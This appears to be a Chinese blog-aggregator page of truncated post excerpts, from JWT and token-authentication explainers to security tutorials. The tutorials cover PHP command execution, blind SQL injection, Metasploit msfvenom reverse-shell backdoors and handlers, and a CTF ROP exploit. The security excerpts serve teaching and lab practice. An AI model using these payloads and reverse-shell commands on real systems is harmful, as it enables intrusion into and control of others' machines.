payload

spring cloud oauth2 jwt 简介

随声附和 提交于 2020-02-07 02:14:19
spring cloud oauth2 jwt 简介 *********************** jwt 使用场景 客户端携带access token向resource source请求数据时, 需要经过authorization server验证后才能进行后续处理; 使用jwt后,客户端携带jwt向resource server请求数据, 不需要转发到authorization server进行验证,提高了处理效率 *********************** jwt 数据格式 json web token(jwt)将数据包装成json对象,通过数字签名进行加密验证,常用HMAC、RSA算法进行签名认证 jwt由3部分组成: header、payload、signature, 格式为:xxx.yyy.zzz,以"."间隔 header: 令牌类型和使用算法组成,如:{"alg":"HS256","typ":"JWT"} payload: 用户信息,如:{"client_id":"user","secret":"123456","authorities":"admin","scope":"user"} signature: 签名信息,将编码后的数据进行签名,如:HMCSHA256(base64UrlEncode(header) + "." + base64UrlEncode

drf_jwt

回眸只為那壹抹淺笑 提交于 2020-02-05 08:40:18
JWT:1、组成: header.payload.signature 头.载荷.签名 2、示例: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6Im93ZW4iLCJleHAiOjE1NTgzMDM1NDR9.4j5QypLwufjpqoScwUB9LYiuhYcTw1y4dPrvnv7DUyo 3:介绍: header:一般存放如何处理token的方式:加密的算法、是否有签名等 payload:数据的主体部分:用户信息、发行者、过期时间等 signature:签名:将header、payload再结合密码盐整体处理一下 工作原理: 1) jwt = base64(头部).base64(载荷).hash256(base64(头部).base(载荷).密钥) 2) base64是可逆的算法、hash256是不可逆的算法 3) 密钥是固定的字符串,保存在服务器 官网:https://github.com/jpadilla/django-rest-framework-jwt 安装:pip install djangorestframework-jwt 使用:一般是搭配xadmin去实现后台管理 获得token: 在user/url.py里: from django.urls import path

JWT与cookie和token的区别

佐手、 提交于 2020-02-04 22:37:49
一. cookie A) cookie如何认证 用户输入用户名与密码,发送给服务器。 服务器验证用户名和密码,正确的就创建一个会话(session),同时会把这个会话的ID保存到客户端浏览器中,因为保存的地方是浏览器的cookie,所以这种认证方式叫做基于cookie的认证方式。 后续的请求中,浏览器会发送会话ID到服务器,服务器上如果能找到对应的ID的会话,那么服务器就会返回需要的数据给浏览器。 当用户退出登录,会话会同时在客户端和服务器端被销毁。 B) cookie认证方式的不足之处 服务器要为每个用户保留session信息,连接用户过多会造成服务器内存压力过大。 适合单一域名,不适合第三方请求。 二. token A) token的认证过程 用户输入用户名和密码,发送给服务器。 服务器验证用户名和密码,正确的话就返回一个签名过的token(token 可以认为就是个长长的字符串),浏览器客户端拿到这个token。 后续每次请求中,浏览器会把token作为http header发送给服务器,服务器验证签名是否有效,如果有效那么认证就成功,可以返回客户端需要的数据。 一旦用户退出登录,只需要客户端销毁token即可,服务器端不需要任何操作。 B) token认证方式的特点 这种方式的特点就是客户端的token中自己保留有大量信息,服务器没有存储这些信息,而只负责验证

PHP命令执行漏洞基础

浪尽此生 提交于 2020-02-02 05:46:03
前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命令执行漏洞。 基本函数 1.system()用于执行外部程序,并且显示输出 <?php system('whoami'); ?> 2.exec()函数用于执行一个外部程序 <?php exec('whoami');?> 3.shell_exec()函数通过shell环境执行命令,并且将完整的输出以字符串的方式返回 <?php shell_exec('whoami'); ?> 4.passthru函数用于执行外部程序并且显示原始输出 <?php passthru('whoami'); ?> 5.popen()函数用于打开进程文件指针 r: 只读。 w: 只写 (打开并清空已有文件或创建一个新文件) <?php touch popen("3.txt","r"); ?> 在当前目录创建名为3.txt的文件 6.Proc_popen函数用于执行一个命令,并且打开来输入输出的文件指针(有问题) proc_open (字符串 $cmd ,数组 $descriptorspec ,数组 &$pipes [,字符串 $cwd = NULL [,数组 $env = NULL [,数组 $other

Web安全-SQL注入:MySQL注入天书(5-6) Blind Injection

坚强是说给别人听的谎言 提交于 2020-02-02 03:41:35
文章目录 内容 布尔型盲注########## 注入点判断 撞数据库版本 撞数据库名 使用sqlmap做布尔型盲注的猜解 内容 MySQL注入天书 Less5 - Less6 布尔型盲注########## 从注入点判断到用 ORDER BY 判断出列数都和前面的一样 只是想用 UNION SELECT 时发现页面并不回显数据库中的信息 而只是根据一个布尔值回显 You are in... 或者什么都不显示 这种类型的注入称为布尔型盲注 Boolean Based Blind Injection 打个比方 Error Based型注入像一个傻白甜 你问她:你现在的用户是谁啊? 她就会告诉你:是root Boolean Based型盲注就是单纯的傻,没有白甜 你问她:你现在的用户是谁啊? 她就不说话 那你只能问:你现在的用户是root嘛? 她会回答是或不是 注入点判断 单引号判断法 所以构造payload如下 ?id = 1 ' AND your_payload % 23 id需为合法id,这样做AND运算才可判断出payload的布尔值 撞数据库版本 截取version的前三个字符,判断是否等于5.6或5.7等等等等 返回Boolean值,与id的选择结果作AND 根据最终是否有回显判断payload的布尔值 这样就知道数据库版本为5.7了

内网渗透之权限维持 - MSF

走远了吗. 提交于 2020-02-02 02:45:58
年初九 天公生 0x034 MSF(美少妇) 启动msf msfconsole 先启动msf依赖的postgresql数据库 初始化数据库 msfdb init (要用普通用户) msf路径 /usr/share 制作后门 msfvenom msfvenom -p payload脚本 lhost=监听/攻击机ip lport=端口 -f 文件类型 -o 文件名 linux示例 msfvenom -p linux/x64/meterpreter/reverse_tcp lhost 192.168.223.129 lport=4444 -f elf -o shell windows示例 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.223.129 lport=4444 -f exe -o shell.exe 远控流程 连接后门 1.制作后门上传到目标机并运行 详见上一条 2.开启msf并进入handle模块 use exploit/multi/handler 3.设置payload类型(必须与第一步一致) set payload payload名字 4.设置lhost和lport(与第一步生成的后门一致) set lhost 监听ip set lport 监听端口 5.options查看配置是否正确 6

PHP-Audit-Labs第一阶段学习总结

天大地大妈咪最大 提交于 2020-02-01 19:01:41
目录 DAY 1 DAY 2 DAY 3 DAY 4 DAY 5 DAY 6 DAY 7 DAY 8 DAY 9 DAY 10 DAY 11 DAY 12 DAY 13 DAY 14 DAY 15 DAY 16 DAY 17 总结 由于篇幅原因,源码详见 GITHUB源码链接 。同时在这感谢红日安全的分享。因为笔者还是个菜鸡,所以有些地方难免有些错误,请各大佬斧正。同时本篇总结以代码审计为主,部分可能会弱化具体的攻击方法 DAY 1 程序本质 文件上传 漏洞本质 函数缺陷导致的任意文件上传漏洞 缺陷函数 in_array函数 攻击类型 绕过检验 众所周知,php是弱类型语言,当未将in_array函数第三个参数设置为true时,默认进行宽松比较。所以函数在执行搜索项时,会将搜索值强制转换成数字类型。漏洞即在此产生。 攻击: 当我们创建一个文件名首数字为1-24之间的文件。即可通过in_array函数判断,导致任意文件上传漏洞。例:7shell.php DAY 2 程序本质 用twig模板的点击获得传入链接程序 漏洞本质 函数缺陷导致的xss漏洞 缺陷函数 filter_var函数 攻击类型 绕过检验 程序采取了两种过滤: Twig模板中的escape过滤。关于过滤详见: Twig中文文档 这里面有一句话:Internally, escape uses the PHP native

msf5 使用技巧

穿精又带淫゛_ 提交于 2020-02-01 13:49:20
一、典型的攻击步骤 ① use exploit/操作系统类型/漏洞类型/具体漏洞模块名称 ——指定要使用漏洞利用模块 ② set SRVHOST 攻击源IP ③ set PAYLOAD windows/meterpreter/reverse_tcp ——设置攻击载荷,也就是 shellcode,可以用来接收反弹的shell ④ set LHOST 被攻击者IP ⑤ exploit ——执行攻击 二、某些细节 ① set lhost x.x.x.x 和 setg lhost x.x.x.x 一样,setg 表示设置全局IP,global,lhost表示 local host,rhost ——remote host被攻击者的IP。 ② set PAYLOAD windows/meterpreter/reverse_tcp 设置使用这个 shellcode 就是用来 getshell 的,用来在攻击成功后反弹被攻击者的 cmd 进程到攻击者机器上的某个端口,从而让攻击者使用被攻击者机器上的 cmd 程序。因此要设置 port。 ③ show options 则可以用来看 攻击模块 和 攻击载荷 需要设置的东西,Required 一列下面是 yes 的全都要进行设置,是 no的最好不用画蛇添足。只执行了 use 攻击利用模块 的命令时,show option

攻防世界 welpwn WP

こ雲淡風輕ζ 提交于 2020-01-31 09:53:35
这道题出的确实很wel 拿到这题,查看保护 发现shellcode走不通,一般都是走rop路线 IDA打开,分析代码,发现main函数内调用了echo函数 这里的buf有0x400大,但是main不存在栈溢出,继续点开echo 这里我们发现有一个赋值的过程,但是a1也就是buff有0x400,而s2只有0x10字节。 很明显,复制过程中存在栈溢出,但是我一开始没发现这一点,那就是这个赋值的终止条件是当读取到a1中\x00的时候。 这就说明,当我们输入payload的时候,就会在覆盖eip地址后截断(地址一般都有\x00) 那么怎么办呢,看了别人wp后发现极其巧妙的操作,因为是复制到s2,所以buf和s2其实是相邻储存的(参数再寄存器里),所以可以想办法跳过buf的开头,继续执行buf下的exp。 于是乎就可以找找能够pop出0x20个字节的代码片。 这个经典EXP可以看下这篇文章 经典EXP 这个rop基本格式: ppp1_addr = 0x40089A ppp2_addr = 0x400880 clean_addr = 0x40089C start_addr = 0x400630 payload = 'a' * 24 + p64 ( clean_addr ) + p64 ( ppp1_addr ) + p64 ( 0 ) + p64 ( 1 ) + p64 ( write

栈溢出练习(1)

删除回忆录丶 提交于 2020-01-31 00:56:28
具体原理参考: ctf-wiki 测试文件: 点击下载 栈溢出 原理 栈溢出的基本前提是 程序必须向栈上写入数据。 写入的数据大小没有被良好地控制。 例题 源码: #include <stdio.h> #include <string.h> void success() { puts("You hack me."); } void vulnerable() { char s[12]; gets(s); puts(s); return; } int main(int argc, char **argv) { vulnerable(); return 0; } 命令: gcc -m32 -fno-stack-protector -no-pie test.c -o test1 -m32:编译为32位文件 -fno-stack-protector:关闭堆栈溢出保护 -no-pie:关闭地址随机化 环境 如果提示: /usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: 没有那个文件或目录 下载支撑文件: sudo apt-get install gcc-multilib g+±multilib module-assistant 分析 检测文件: 需要了解在32位程序中,调用函数的过程: 函数返回地址入栈-